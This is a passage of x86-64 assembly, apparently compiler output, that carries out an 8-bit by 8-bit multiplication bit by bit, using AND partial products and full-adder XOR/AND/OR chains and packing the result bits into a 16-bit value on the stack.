mov BYTE PTR -177[rbp], al
movzx eax, BYTE PTR -192[rbp]
and al, BYTE PTR -187[rbp]
mov BYTE PTR -176[rbp], al
movzx eax, BYTE PTR -191[rbp]
and al, BYTE PTR -187[rbp]
mov BYTE PTR -175[rbp], al
movzx eax, BYTE PTR -190[rbp]
and al, BYTE PTR -187[rbp]
mov BYTE PTR -174[rbp], al
movzx eax, BYTE PTR -189[rbp]
and al, BYTE PTR -187[rbp]
mov BYTE PTR -173[rbp], al
movzx eax, BYTE PTR -188[rbp]
and al, BYTE PTR -187[rbp]
mov BYTE PTR -172[rbp], al
movzx eax, BYTE PTR -195[rbp]
and al, BYTE PTR -186[rbp]
mov BYTE PTR -171[rbp], al
movzx eax, BYTE PTR -172[rbp]
mov BYTE PTR -170[rbp], al
movzx eax, BYTE PTR -194[rbp]
and al, BYTE PTR -186[rbp]
mov BYTE PTR -169[rbp], al
movzx eax, BYTE PTR -193[rbp]
and al, BYTE PTR -186[rbp]
mov BYTE PTR -168[rbp], al
movzx eax, BYTE PTR -192[rbp]
and al, BYTE PTR -186[rbp]
mov BYTE PTR -167[rbp], al
movzx eax, BYTE PTR -191[rbp]
and al, BYTE PTR -186[rbp]
mov BYTE PTR -166[rbp], al
movzx eax, BYTE PTR -190[rbp]
and al, BYTE PTR -186[rbp]
mov BYTE PTR -165[rbp], al
movzx eax, BYTE PTR -189[rbp]
and al, BYTE PTR -186[rbp]
mov BYTE PTR -164[rbp], al
movzx eax, BYTE PTR -188[rbp]
and al, BYTE PTR -186[rbp]
mov BYTE PTR -163[rbp], al
movzx eax, BYTE PTR -178[rbp]
xor al, BYTE PTR -171[rbp]
mov BYTE PTR -162[rbp], al
movzx eax, BYTE PTR -178[rbp]
and al, BYTE PTR -171[rbp]
mov BYTE PTR -161[rbp], al
movzx eax, BYTE PTR -177[rbp]
xor al, BYTE PTR -169[rbp]
mov BYTE PTR -160[rbp], al
movzx eax, BYTE PTR -177[rbp]
and al, BYTE PTR -169[rbp]
mov BYTE PTR -159[rbp], al
movzx eax, BYTE PTR -176[rbp]
xor al, BYTE PTR -168[rbp]
mov BYTE PTR -158[rbp], al
movzx eax, BYTE PTR -176[rbp]
and al, BYTE PTR -168[rbp]
mov BYTE PTR -157[rbp], al
movzx eax, BYTE PTR -175[rbp]
xor al, BYTE PTR -167[rbp]
mov BYTE PTR -156[rbp], al
movzx eax, BYTE PTR -175[rbp]
and al, BYTE PTR -167[rbp]
mov BYTE PTR -155[rbp], al
movzx eax, BYTE PTR -174[rbp]
xor al, BYTE PTR -166[rbp]
mov BYTE PTR -154[rbp], al
movzx eax, BYTE PTR -174[rbp]
and al, BYTE PTR -166[rbp]
mov BYTE PTR -153[rbp], al
movzx eax, BYTE PTR -173[rbp]
xor al, BYTE PTR -165[rbp]
mov BYTE PTR -152[rbp], al
movzx eax, BYTE PTR -173[rbp]
and al, BYTE PTR -165[rbp]
mov BYTE PTR -151[rbp], al
movzx eax, BYTE PTR -170[rbp]
xor al, BYTE PTR -164[rbp]
mov BYTE PTR -150[rbp], al
movzx eax, BYTE PTR -170[rbp]
and al, BYTE PTR -164[rbp]
mov BYTE PTR -149[rbp], al
movzx eax, BYTE PTR -195[rbp]
and al, BYTE PTR -185[rbp]
mov BYTE PTR -148[rbp], al
movzx eax, BYTE PTR -194[rbp]
and al, BYTE PTR -185[rbp]
mov BYTE PTR -147[rbp], al
movzx eax, BYTE PTR -193[rbp]
and al, BYTE PTR -185[rbp]
mov BYTE PTR -146[rbp], al
movzx eax, BYTE PTR -192[rbp]
and al, BYTE PTR -185[rbp]
mov BYTE PTR -145[rbp], al
movzx eax, BYTE PTR -191[rbp]
and al, BYTE PTR -185[rbp]
mov BYTE PTR -144[rbp], al
movzx eax, BYTE PTR -190[rbp]
and al, BYTE PTR -185[rbp]
mov BYTE PTR -143[rbp], al
movzx eax, BYTE PTR -189[rbp]
and al, BYTE PTR -185[rbp]
mov BYTE PTR -142[rbp], al
movzx eax, BYTE PTR -188[rbp]
and al, BYTE PTR -185[rbp]
mov BYTE PTR -141[rbp], al
movzx eax, BYTE PTR -160[rbp]
xor al, BYTE PTR -148[rbp]
xor al, BYTE PTR -161[rbp]
mov BYTE PTR -140[rbp], al
movzx eax, BYTE PTR -160[rbp]
or al, BYTE PTR -161[rbp]
and al, BYTE PTR -148[rbp]
mov edx, eax
movzx eax, BYTE PTR -160[rbp]
and al, BYTE PTR -161[rbp]
or eax, edx
mov BYTE PTR -139[rbp], al
movzx eax, BYTE PTR -158[rbp]
xor al, BYTE PTR -147[rbp]
xor al, BYTE PTR -159[rbp]
mov BYTE PTR -138[rbp], al
movzx eax, BYTE PTR -158[rbp]
or al, BYTE PTR -159[rbp]
and al, BYTE PTR -147[rbp]
mov edx, eax
movzx eax, BYTE PTR -158[rbp]
and al, BYTE PTR -159[rbp]
or eax, edx
mov BYTE PTR -137[rbp], al
movzx eax, BYTE PTR -156[rbp]
xor al, BYTE PTR -146[rbp]
xor al, BYTE PTR -157[rbp]
mov BYTE PTR -136[rbp], al
movzx eax, BYTE PTR -156[rbp]
or al, BYTE PTR -157[rbp]
and al, BYTE PTR -146[rbp]
mov edx, eax
movzx eax, BYTE PTR -156[rbp]
and al, BYTE PTR -157[rbp]
or eax, edx
mov BYTE PTR -135[rbp], al
movzx eax, BYTE PTR -154[rbp]
xor al, BYTE PTR -145[rbp]
xor al, BYTE PTR -155[rbp]
mov BYTE PTR -134[rbp], al
movzx eax, BYTE PTR -154[rbp]
or al, BYTE PTR -155[rbp]
and al, BYTE PTR -145[rbp]
mov edx, eax
movzx eax, BYTE PTR -154[rbp]
and al, BYTE PTR -155[rbp]
or eax, edx
mov BYTE PTR -133[rbp], al
movzx eax, BYTE PTR -152[rbp]
xor al, BYTE PTR -144[rbp]
xor al, BYTE PTR -153[rbp]
mov BYTE PTR -132[rbp], al
movzx eax, BYTE PTR -152[rbp]
or al, BYTE PTR -153[rbp]
and al, BYTE PTR -144[rbp]
mov edx, eax
movzx eax, BYTE PTR -152[rbp]
and al, BYTE PTR -153[rbp]
or eax, edx
mov BYTE PTR -131[rbp], al
movzx eax, BYTE PTR -150[rbp]
xor al, BYTE PTR -143[rbp]
xor al, BYTE PTR -151[rbp]
mov BYTE PTR -130[rbp], al
movzx eax, BYTE PTR -150[rbp]
or al, BYTE PTR -151[rbp]
and al, BYTE PTR -143[rbp]
mov edx, eax
movzx eax, BYTE PTR -150[rbp]
and al, BYTE PTR -151[rbp]
or eax, edx
mov BYTE PTR -129[rbp], al
movzx eax, BYTE PTR -163[rbp]
xor al, BYTE PTR -142[rbp]
xor al, BYTE PTR -149[rbp]
mov BYTE PTR -128[rbp], al
movzx eax, BYTE PTR -163[rbp]
or al, BYTE PTR -149[rbp]
and al, BYTE PTR -142[rbp]
mov edx, eax
movzx eax, BYTE PTR -163[rbp]
and al, BYTE PTR -149[rbp]
or eax, edx
mov BYTE PTR -127[rbp], al
movzx eax, BYTE PTR -195[rbp]
and al, BYTE PTR -184[rbp]
mov BYTE PTR -126[rbp], al
movzx eax, BYTE PTR -194[rbp]
and al, BYTE PTR -184[rbp]
mov BYTE PTR -125[rbp], al
movzx eax, BYTE PTR -193[rbp]
and al, BYTE PTR -184[rbp]
mov BYTE PTR -124[rbp], al
movzx eax, BYTE PTR -192[rbp]
and al, BYTE PTR -184[rbp]
mov BYTE PTR -123[rbp], al
movzx eax, BYTE PTR -191[rbp]
and al, BYTE PTR -184[rbp]
mov BYTE PTR -122[rbp], al
movzx eax, BYTE PTR -190[rbp]
and al, BYTE PTR -184[rbp]
mov BYTE PTR -121[rbp], al
movzx eax, BYTE PTR -189[rbp]
and al, BYTE PTR -184[rbp]
mov BYTE PTR -120[rbp], al
movzx eax, BYTE PTR -188[rbp]
and al, BYTE PTR -184[rbp]
mov BYTE PTR -119[rbp], al
movzx eax, BYTE PTR -138[rbp]
xor al, BYTE PTR -126[rbp]
xor al, BYTE PTR -139[rbp]
mov BYTE PTR -118[rbp], al
movzx eax, BYTE PTR -138[rbp]
or al, BYTE PTR -139[rbp]
and al, BYTE PTR -126[rbp]
mov edx, eax
movzx eax, BYTE PTR -138[rbp]
and al, BYTE PTR -139[rbp]
or eax, edx
mov BYTE PTR -117[rbp], al
movzx eax, BYTE PTR -136[rbp]
xor al, BYTE PTR -125[rbp]
xor al, BYTE PTR -137[rbp]
mov BYTE PTR -116[rbp], al
movzx eax, BYTE PTR -136[rbp]
or al, BYTE PTR -137[rbp]
and al, BYTE PTR -125[rbp]
mov edx, eax
movzx eax, BYTE PTR -136[rbp]
and al, BYTE PTR -137[rbp]
or eax, edx
mov BYTE PTR -115[rbp], al
movzx eax, BYTE PTR -134[rbp]
xor al, BYTE PTR -124[rbp]
xor al, BYTE PTR -135[rbp]
mov BYTE PTR -114[rbp], al
movzx eax, BYTE PTR -134[rbp]
or al, BYTE PTR -135[rbp]
and al, BYTE PTR -124[rbp]
mov edx, eax
movzx eax, BYTE PTR -134[rbp]
and al, BYTE PTR -135[rbp]
or eax, edx
mov BYTE PTR -113[rbp], al
movzx eax, BYTE PTR -132[rbp]
xor al, BYTE PTR -123[rbp]
xor al, BYTE PTR -133[rbp]
mov BYTE PTR -112[rbp], al
movzx eax, BYTE PTR -132[rbp]
or al, BYTE PTR -133[rbp]
and al, BYTE PTR -123[rbp]
mov edx, eax
movzx eax, BYTE PTR -132[rbp]
and al, BYTE PTR -133[rbp]
or eax, edx
mov BYTE PTR -111[rbp], al
movzx eax, BYTE PTR -130[rbp]
xor al, BYTE PTR -122[rbp]
xor al, BYTE PTR -131[rbp]
mov BYTE PTR -110[rbp], al
movzx eax, BYTE PTR -130[rbp]
or al, BYTE PTR -131[rbp]
and al, BYTE PTR -122[rbp]
mov edx, eax
movzx eax, BYTE PTR -130[rbp]
and al, BYTE PTR -131[rbp]
or eax, edx
mov BYTE PTR -109[rbp], al
movzx eax, BYTE PTR -128[rbp]
xor al, BYTE PTR -121[rbp]
xor al, BYTE PTR -129[rbp]
mov BYTE PTR -108[rbp], al
movzx eax, BYTE PTR -128[rbp]
or al, BYTE PTR -129[rbp]
and al, BYTE PTR -121[rbp]
mov edx, eax
movzx eax, BYTE PTR -128[rbp]
and al, BYTE PTR -129[rbp]
or eax, edx
mov BYTE PTR -107[rbp], al
movzx eax, BYTE PTR -141[rbp]
xor al, BYTE PTR -120[rbp]
xor al, BYTE PTR -127[rbp]
mov BYTE PTR -106[rbp], al
movzx eax, BYTE PTR -141[rbp]
or al, BYTE PTR -127[rbp]
and al, BYTE PTR -120[rbp]
mov edx, eax
movzx eax, BYTE PTR -141[rbp]
and al, BYTE PTR -127[rbp]
or eax, edx
mov BYTE PTR -105[rbp], al
movzx eax, BYTE PTR -195[rbp]
and al, BYTE PTR -183[rbp]
mov BYTE PTR -104[rbp], al
movzx eax, BYTE PTR -194[rbp]
and al, BYTE PTR -183[rbp]
mov BYTE PTR -103[rbp], al
movzx eax, BYTE PTR -193[rbp]
and al, BYTE PTR -183[rbp]
mov BYTE PTR -102[rbp], al
movzx eax, BYTE PTR -192[rbp]
and al, BYTE PTR -183[rbp]
mov BYTE PTR -101[rbp], al
movzx eax, BYTE PTR -191[rbp]
and al, BYTE PTR -183[rbp]
mov BYTE PTR -100[rbp], al
movzx eax, BYTE PTR -190[rbp]
and al, BYTE PTR -183[rbp]
mov BYTE PTR -99[rbp], al
movzx eax, BYTE PTR -189[rbp]
and al, BYTE PTR -183[rbp]
mov BYTE PTR -98[rbp], al
movzx eax, BYTE PTR -188[rbp]
and al, BYTE PTR -183[rbp]
mov BYTE PTR -97[rbp], al
movzx eax, BYTE PTR -116[rbp]
xor al, BYTE PTR -104[rbp]
xor al, BYTE PTR -117[rbp]
mov BYTE PTR -96[rbp], al
movzx eax, BYTE PTR -116[rbp]
or al, BYTE PTR -117[rbp]
and al, BYTE PTR -104[rbp]
mov edx, eax
movzx eax, BYTE PTR -116[rbp]
and al, BYTE PTR -117[rbp]
or eax, edx
mov BYTE PTR -95[rbp], al
movzx eax, BYTE PTR -114[rbp]
xor al, BYTE PTR -103[rbp]
xor al, BYTE PTR -115[rbp]
mov BYTE PTR -94[rbp], al
movzx eax, BYTE PTR -114[rbp]
or al, BYTE PTR -115[rbp]
and al, BYTE PTR -103[rbp]
mov edx, eax
movzx eax, BYTE PTR -114[rbp]
and al, BYTE PTR -115[rbp]
or eax, edx
mov BYTE PTR -93[rbp], al
movzx eax, BYTE PTR -112[rbp]
xor al, BYTE PTR -102[rbp]
xor al, BYTE PTR -113[rbp]
mov BYTE PTR -92[rbp], al
movzx eax, BYTE PTR -112[rbp]
or al, BYTE PTR -113[rbp]
and al, BYTE PTR -102[rbp]
mov edx, eax
movzx eax, BYTE PTR -112[rbp]
and al, BYTE PTR -113[rbp]
or eax, edx
mov BYTE PTR -91[rbp], al
movzx eax, BYTE PTR -110[rbp]
xor al, BYTE PTR -101[rbp]
xor al, BYTE PTR -111[rbp]
mov BYTE PTR -90[rbp], al
movzx eax, BYTE PTR -110[rbp]
or al, BYTE PTR -111[rbp]
and al, BYTE PTR -101[rbp]
mov edx, eax
movzx eax, BYTE PTR -110[rbp]
and al, BYTE PTR -111[rbp]
or eax, edx
mov BYTE PTR -89[rbp], al
movzx eax, BYTE PTR -108[rbp]
xor al, BYTE PTR -100[rbp]
xor al, BYTE PTR -109[rbp]
mov BYTE PTR -88[rbp], al
movzx eax, BYTE PTR -108[rbp]
or al, BYTE PTR -109[rbp]
and al, BYTE PTR -100[rbp]
mov edx, eax
movzx eax, BYTE PTR -108[rbp]
and al, BYTE PTR -109[rbp]
or eax, edx
mov BYTE PTR -87[rbp], al
movzx eax, BYTE PTR -106[rbp]
xor al, BYTE PTR -99[rbp]
xor al, BYTE PTR -107[rbp]
mov BYTE PTR -86[rbp], al
movzx eax, BYTE PTR -106[rbp]
or al, BYTE PTR -107[rbp]
and al, BYTE PTR -99[rbp]
mov edx, eax
movzx eax, BYTE PTR -106[rbp]
and al, BYTE PTR -107[rbp]
or eax, edx
mov BYTE PTR -85[rbp], al
movzx eax, BYTE PTR -119[rbp]
xor al, BYTE PTR -98[rbp]
xor al, BYTE PTR -105[rbp]
mov BYTE PTR -84[rbp], al
movzx eax, BYTE PTR -119[rbp]
or al, BYTE PTR -105[rbp]
and al, BYTE PTR -98[rbp]
mov edx, eax
movzx eax, BYTE PTR -119[rbp]
and al, BYTE PTR -105[rbp]
or eax, edx
mov BYTE PTR -83[rbp], al
movzx eax, BYTE PTR -195[rbp]
and al, BYTE PTR -182[rbp]
mov BYTE PTR -82[rbp], al
movzx eax, BYTE PTR -194[rbp]
and al, BYTE PTR -182[rbp]
mov BYTE PTR -81[rbp], al
movzx eax, BYTE PTR -193[rbp]
and al, BYTE PTR -182[rbp]
mov BYTE PTR -80[rbp], al
movzx eax, BYTE PTR -192[rbp]
and al, BYTE PTR -182[rbp]
mov BYTE PTR -79[rbp], al
movzx eax, BYTE PTR -191[rbp]
and al, BYTE PTR -182[rbp]
mov BYTE PTR -78[rbp], al
movzx eax, BYTE PTR -190[rbp]
and al, BYTE PTR -182[rbp]
mov BYTE PTR -77[rbp], al
movzx eax, BYTE PTR -189[rbp]
and al, BYTE PTR -182[rbp]
mov BYTE PTR -76[rbp], al
movzx eax, BYTE PTR -188[rbp]
and al, BYTE PTR -182[rbp]
mov BYTE PTR -75[rbp], al
movzx eax, BYTE PTR -94[rbp]
xor al, BYTE PTR -82[rbp]
xor al, BYTE PTR -95[rbp]
mov BYTE PTR -74[rbp], al
movzx eax, BYTE PTR -94[rbp]
or al, BYTE PTR -95[rbp]
and al, BYTE PTR -82[rbp]
mov edx, eax
movzx eax, BYTE PTR -94[rbp]
and al, BYTE PTR -95[rbp]
or eax, edx
mov BYTE PTR -73[rbp], al
movzx eax, BYTE PTR -92[rbp]
xor al, BYTE PTR -81[rbp]
xor al, BYTE PTR -93[rbp]
mov BYTE PTR -72[rbp], al
movzx eax, BYTE PTR -92[rbp]
or al, BYTE PTR -93[rbp]
and al, BYTE PTR -81[rbp]
mov edx, eax
movzx eax, BYTE PTR -92[rbp]
and al, BYTE PTR -93[rbp]
or eax, edx
mov BYTE PTR -71[rbp], al
movzx eax, BYTE PTR -90[rbp]
xor al, BYTE PTR -80[rbp]
xor al, BYTE PTR -91[rbp]
mov BYTE PTR -70[rbp], al
movzx eax, BYTE PTR -90[rbp]
or al, BYTE PTR -91[rbp]
and al, BYTE PTR -80[rbp]
mov edx, eax
movzx eax, BYTE PTR -90[rbp]
and al, BYTE PTR -91[rbp]
or eax, edx
mov BYTE PTR -69[rbp], al
movzx eax, BYTE PTR -88[rbp]
xor al, BYTE PTR -79[rbp]
xor al, BYTE PTR -89[rbp]
mov BYTE PTR -68[rbp], al
movzx eax, BYTE PTR -88[rbp]
or al, BYTE PTR -89[rbp]
and al, BYTE PTR -79[rbp]
mov edx, eax
movzx eax, BYTE PTR -88[rbp]
and al, BYTE PTR -89[rbp]
or eax, edx
mov BYTE PTR -67[rbp], al
movzx eax, BYTE PTR -86[rbp]
xor al, BYTE PTR -78[rbp]
xor al, BYTE PTR -87[rbp]
mov BYTE PTR -66[rbp], al
movzx eax, BYTE PTR -86[rbp]
or al, BYTE PTR -87[rbp]
and al, BYTE PTR -78[rbp]
mov edx, eax
movzx eax, BYTE PTR -86[rbp]
and al, BYTE PTR -87[rbp]
or eax, edx
mov BYTE PTR -65[rbp], al
movzx eax, BYTE PTR -84[rbp]
xor al, BYTE PTR -77[rbp]
xor al, BYTE PTR -85[rbp]
mov BYTE PTR -64[rbp], al
movzx eax, BYTE PTR -84[rbp]
or al, BYTE PTR -85[rbp]
and al, BYTE PTR -77[rbp]
mov edx, eax
movzx eax, BYTE PTR -84[rbp]
and al, BYTE PTR -85[rbp]
or eax, edx
mov BYTE PTR -63[rbp], al
movzx eax, BYTE PTR -97[rbp]
xor al, BYTE PTR -76[rbp]
xor al, BYTE PTR -83[rbp]
mov BYTE PTR -62[rbp], al
movzx eax, BYTE PTR -97[rbp]
or al, BYTE PTR -83[rbp]
and al, BYTE PTR -76[rbp]
mov edx, eax
movzx eax, BYTE PTR -97[rbp]
and al, BYTE PTR -83[rbp]
or eax, edx
mov BYTE PTR -61[rbp], al
movzx eax, BYTE PTR -195[rbp]
and al, BYTE PTR -181[rbp]
mov BYTE PTR -60[rbp], al
movzx eax, BYTE PTR -194[rbp]
and al, BYTE PTR -181[rbp]
mov BYTE PTR -59[rbp], al
movzx eax, BYTE PTR -193[rbp]
and al, BYTE PTR -181[rbp]
mov BYTE PTR -58[rbp], al
movzx eax, BYTE PTR -192[rbp]
and al, BYTE PTR -181[rbp]
mov BYTE PTR -57[rbp], al
movzx eax, BYTE PTR -191[rbp]
and al, BYTE PTR -181[rbp]
mov BYTE PTR -56[rbp], al
movzx eax, BYTE PTR -190[rbp]
and al, BYTE PTR -181[rbp]
mov BYTE PTR -55[rbp], al
movzx eax, BYTE PTR -189[rbp]
and al, BYTE PTR -181[rbp]
mov BYTE PTR -54[rbp], al
movzx eax, BYTE PTR -188[rbp]
and al, BYTE PTR -181[rbp]
mov BYTE PTR -53[rbp], al
movzx eax, BYTE PTR -72[rbp]
xor al, BYTE PTR -60[rbp]
xor al, BYTE PTR -73[rbp]
mov BYTE PTR -52[rbp], al
movzx eax, BYTE PTR -72[rbp]
or al, BYTE PTR -73[rbp]
and al, BYTE PTR -60[rbp]
mov edx, eax
movzx eax, BYTE PTR -72[rbp]
and al, BYTE PTR -73[rbp]
or eax, edx
mov BYTE PTR -51[rbp], al
movzx eax, BYTE PTR -70[rbp]
xor al, BYTE PTR -59[rbp]
xor al, BYTE PTR -71[rbp]
mov BYTE PTR -50[rbp], al
movzx eax, BYTE PTR -70[rbp]
or al, BYTE PTR -71[rbp]
and al, BYTE PTR -59[rbp]
mov edx, eax
movzx eax, BYTE PTR -70[rbp]
and al, BYTE PTR -71[rbp]
or eax, edx
mov BYTE PTR -49[rbp], al
movzx eax, BYTE PTR -68[rbp]
xor al, BYTE PTR -58[rbp]
xor al, BYTE PTR -69[rbp]
mov BYTE PTR -48[rbp], al
movzx eax, BYTE PTR -68[rbp]
or al, BYTE PTR -69[rbp]
and al, BYTE PTR -58[rbp]
mov edx, eax
movzx eax, BYTE PTR -68[rbp]
and al, BYTE PTR -69[rbp]
or eax, edx
mov BYTE PTR -47[rbp], al
movzx eax, BYTE PTR -66[rbp]
xor al, BYTE PTR -57[rbp]
xor al, BYTE PTR -67[rbp]
mov BYTE PTR -46[rbp], al
movzx eax, BYTE PTR -66[rbp]
or al, BYTE PTR -67[rbp]
and al, BYTE PTR -57[rbp]
mov edx, eax
movzx eax, BYTE PTR -66[rbp]
and al, BYTE PTR -67[rbp]
or eax, edx
mov BYTE PTR -45[rbp], al
movzx eax, BYTE PTR -64[rbp]
xor al, BYTE PTR -56[rbp]
xor al, BYTE PTR -65[rbp]
mov BYTE PTR -44[rbp], al
movzx eax, BYTE PTR -64[rbp]
or al, BYTE PTR -65[rbp]
and al, BYTE PTR -56[rbp]
mov edx, eax
movzx eax, BYTE PTR -64[rbp]
and al, BYTE PTR -65[rbp]
or eax, edx
mov BYTE PTR -43[rbp], al
movzx eax, BYTE PTR -62[rbp]
xor al, BYTE PTR -55[rbp]
xor al, BYTE PTR -63[rbp]
mov BYTE PTR -42[rbp], al
movzx eax, BYTE PTR -62[rbp]
or al, BYTE PTR -63[rbp]
and al, BYTE PTR -55[rbp]
mov edx, eax
movzx eax, BYTE PTR -62[rbp]
and al, BYTE PTR -63[rbp]
or eax, edx
mov BYTE PTR -41[rbp], al
movzx eax, BYTE PTR -75[rbp]
xor al, BYTE PTR -54[rbp]
xor al, BYTE PTR -61[rbp]
mov BYTE PTR -40[rbp], al
movzx eax, BYTE PTR -75[rbp]
or al, BYTE PTR -61[rbp]
and al, BYTE PTR -54[rbp]
mov edx, eax
movzx eax, BYTE PTR -75[rbp]
and al, BYTE PTR -61[rbp]
or eax, edx
mov BYTE PTR -39[rbp], al
movzx eax, BYTE PTR -195[rbp]
and al, BYTE PTR -180[rbp]
mov BYTE PTR -38[rbp], al
movzx eax, BYTE PTR -194[rbp]
and al, BYTE PTR -180[rbp]
mov BYTE PTR -37[rbp], al
movzx eax, BYTE PTR -193[rbp]
and al, BYTE PTR -180[rbp]
mov BYTE PTR -36[rbp], al
movzx eax, BYTE PTR -192[rbp]
and al, BYTE PTR -180[rbp]
mov BYTE PTR -35[rbp], al
movzx eax, BYTE PTR -191[rbp]
and al, BYTE PTR -180[rbp]
mov BYTE PTR -34[rbp], al
movzx eax, BYTE PTR -190[rbp]
and al, BYTE PTR -180[rbp]
mov BYTE PTR -33[rbp], al
movzx eax, BYTE PTR -189[rbp]
and al, BYTE PTR -180[rbp]
mov BYTE PTR -32[rbp], al
movzx eax, BYTE PTR -188[rbp]
and al, BYTE PTR -180[rbp]
mov BYTE PTR -31[rbp], al
movzx eax, BYTE PTR -50[rbp]
xor al, BYTE PTR -38[rbp]
xor al, BYTE PTR -51[rbp]
mov BYTE PTR -30[rbp], al
movzx eax, BYTE PTR -50[rbp]
or al, BYTE PTR -51[rbp]
and al, BYTE PTR -38[rbp]
mov edx, eax
movzx eax, BYTE PTR -50[rbp]
and al, BYTE PTR -51[rbp]
or eax, edx
mov BYTE PTR -29[rbp], al
movzx eax, BYTE PTR -48[rbp]
xor al, BYTE PTR -37[rbp]
xor al, BYTE PTR -49[rbp]
mov BYTE PTR -28[rbp], al
movzx eax, BYTE PTR -48[rbp]
or al, BYTE PTR -49[rbp]
and al, BYTE PTR -37[rbp]
mov edx, eax
movzx eax, BYTE PTR -48[rbp]
and al, BYTE PTR -49[rbp]
or eax, edx
mov BYTE PTR -27[rbp], al
movzx eax, BYTE PTR -46[rbp]
xor al, BYTE PTR -36[rbp]
xor al, BYTE PTR -47[rbp]
mov BYTE PTR -26[rbp], al
movzx eax, BYTE PTR -46[rbp]
or al, BYTE PTR -47[rbp]
and al, BYTE PTR -36[rbp]
mov edx, eax
movzx eax, BYTE PTR -46[rbp]
and al, BYTE PTR -47[rbp]
or eax, edx
mov BYTE PTR -25[rbp], al
movzx eax, BYTE PTR -44[rbp]
xor al, BYTE PTR -35[rbp]
xor al, BYTE PTR -45[rbp]
mov BYTE PTR -24[rbp], al
movzx eax, BYTE PTR -44[rbp]
or al, BYTE PTR -45[rbp]
and al, BYTE PTR -35[rbp]
mov edx, eax
movzx eax, BYTE PTR -44[rbp]
and al, BYTE PTR -45[rbp]
or eax, edx
mov BYTE PTR -23[rbp], al
movzx eax, BYTE PTR -42[rbp]
xor al, BYTE PTR -34[rbp]
xor al, BYTE PTR -43[rbp]
mov BYTE PTR -22[rbp], al
movzx eax, BYTE PTR -42[rbp]
or al, BYTE PTR -43[rbp]
and al, BYTE PTR -34[rbp]
mov edx, eax
movzx eax, BYTE PTR -42[rbp]
and al, BYTE PTR -43[rbp]
or eax, edx
mov BYTE PTR -21[rbp], al
movzx eax, BYTE PTR -40[rbp]
xor al, BYTE PTR -33[rbp]
xor al, BYTE PTR -41[rbp]
mov BYTE PTR -20[rbp], al
movzx eax, BYTE PTR -40[rbp]
or al, BYTE PTR -41[rbp]
and al, BYTE PTR -33[rbp]
mov edx, eax
movzx eax, BYTE PTR -40[rbp]
and al, BYTE PTR -41[rbp]
or eax, edx
mov BYTE PTR -19[rbp], al
movzx eax, BYTE PTR -53[rbp]
xor al, BYTE PTR -32[rbp]
xor al, BYTE PTR -39[rbp]
mov BYTE PTR -18[rbp], al
movzx eax, BYTE PTR -53[rbp]
or al, BYTE PTR -39[rbp]
and al, BYTE PTR -32[rbp]
mov edx, eax
movzx eax, BYTE PTR -53[rbp]
and al, BYTE PTR -39[rbp]
or eax, edx
mov BYTE PTR -17[rbp], al
movzx eax, BYTE PTR -28[rbp]
xor al, BYTE PTR -29[rbp]
mov BYTE PTR -16[rbp], al
movzx eax, BYTE PTR -28[rbp]
and al, BYTE PTR -29[rbp]
mov BYTE PTR -15[rbp], al
movzx eax, BYTE PTR -26[rbp]
xor al, BYTE PTR -27[rbp]
xor al, BYTE PTR -15[rbp]
mov BYTE PTR -14[rbp], al
movzx eax, BYTE PTR -26[rbp]
or al, BYTE PTR -15[rbp]
and al, BYTE PTR -27[rbp]
mov edx, eax
movzx eax, BYTE PTR -26[rbp]
and al, BYTE PTR -15[rbp]
or eax, edx
mov BYTE PTR -13[rbp], al
movzx eax, BYTE PTR -24[rbp]
xor al, BYTE PTR -25[rbp]
xor al, BYTE PTR -13[rbp]
mov BYTE PTR -12[rbp], al
movzx eax, BYTE PTR -24[rbp]
or al, BYTE PTR -13[rbp]
and al, BYTE PTR -25[rbp]
mov edx, eax
movzx eax, BYTE PTR -24[rbp]
and al, BYTE PTR -13[rbp]
or eax, edx
mov BYTE PTR -11[rbp], al
movzx eax, BYTE PTR -22[rbp]
xor al, BYTE PTR -23[rbp]
xor al, BYTE PTR -11[rbp]
mov BYTE PTR -10[rbp], al
movzx eax, BYTE PTR -22[rbp]
or al, BYTE PTR -11[rbp]
and al, BYTE PTR -23[rbp]
mov edx, eax
movzx eax, BYTE PTR -22[rbp]
and al, BYTE PTR -11[rbp]
or eax, edx
mov BYTE PTR -9[rbp], al
movzx eax, BYTE PTR -20[rbp]
xor al, BYTE PTR -21[rbp]
xor al, BYTE PTR -9[rbp]
mov BYTE PTR -8[rbp], al
movzx eax, BYTE PTR -20[rbp]
or al, BYTE PTR -9[rbp]
and al, BYTE PTR -21[rbp]
mov edx, eax
movzx eax, BYTE PTR -20[rbp]
and al, BYTE PTR -9[rbp]
or eax, edx
mov BYTE PTR -7[rbp], al
movzx eax, BYTE PTR -18[rbp]
xor al, BYTE PTR -19[rbp]
xor al, BYTE PTR -7[rbp]
mov BYTE PTR -6[rbp], al
movzx eax, BYTE PTR -18[rbp]
or al, BYTE PTR -7[rbp]
and al, BYTE PTR -19[rbp]
mov edx, eax
movzx eax, BYTE PTR -18[rbp]
and al, BYTE PTR -7[rbp]
or eax, edx
mov BYTE PTR -5[rbp], al
movzx eax, BYTE PTR -31[rbp]
xor al, BYTE PTR -17[rbp]
xor al, BYTE PTR -5[rbp]
mov BYTE PTR -4[rbp], al
movzx eax, BYTE PTR -31[rbp]
or al, BYTE PTR -5[rbp]
and al, BYTE PTR -17[rbp]
mov edx, eax
movzx eax, BYTE PTR -31[rbp]
and al, BYTE PTR -5[rbp]
or eax, edx
mov BYTE PTR -3[rbp], al
movzx eax, BYTE PTR -179[rbp]
and eax, 1
mov edx, eax
movzx eax, WORD PTR -2[rbp]
or eax, edx
mov WORD PTR -2[rbp], ax
movzx eax, BYTE PTR -162[rbp]
add eax, eax
and eax, 2
mov edx, eax
movzx eax, WORD PTR -2[rbp]
or eax, edx
mov WORD PTR -2[rbp], ax
movzx eax, BYTE PTR -140[rbp]
sal eax, 2
and eax, 4
mov edx, eax
movzx eax, WORD PTR -2[rbp]
or eax, edx
mov WORD PTR -2[rbp], ax
movzx eax, BYTE PTR -118[rbp]
sal eax, 3
and eax, 8
mov edx, eax
movzx eax, WORD PTR -2[rbp]
or eax, edx
mov WORD PTR -2[rbp], ax
movzx eax, BYTE PTR -96[rbp]
sal eax, 4
and eax, 16
mov edx, eax
movzx eax, WORD PTR -2[rbp]
or eax, edx
mov WORD PTR -2[rbp], ax
movzx eax, BYTE PTR -74[rbp]
sal eax, 5
and eax, 32
mov edx, eax
movzx eax, WORD PTR -2[rbp]
or eax, edx
mov WORD PTR -2[rbp], ax
movzx eax, BYTE PTR -52[rbp]
sal eax, 6
and eax, 64
mov edx, eax
movzx eax, WORD PTR -2[rbp]
or eax, edx
mov WORD PTR -2[rbp], ax
movzx eax, BYTE PTR -30[rbp]
sal eax, 7
movzx edx, al
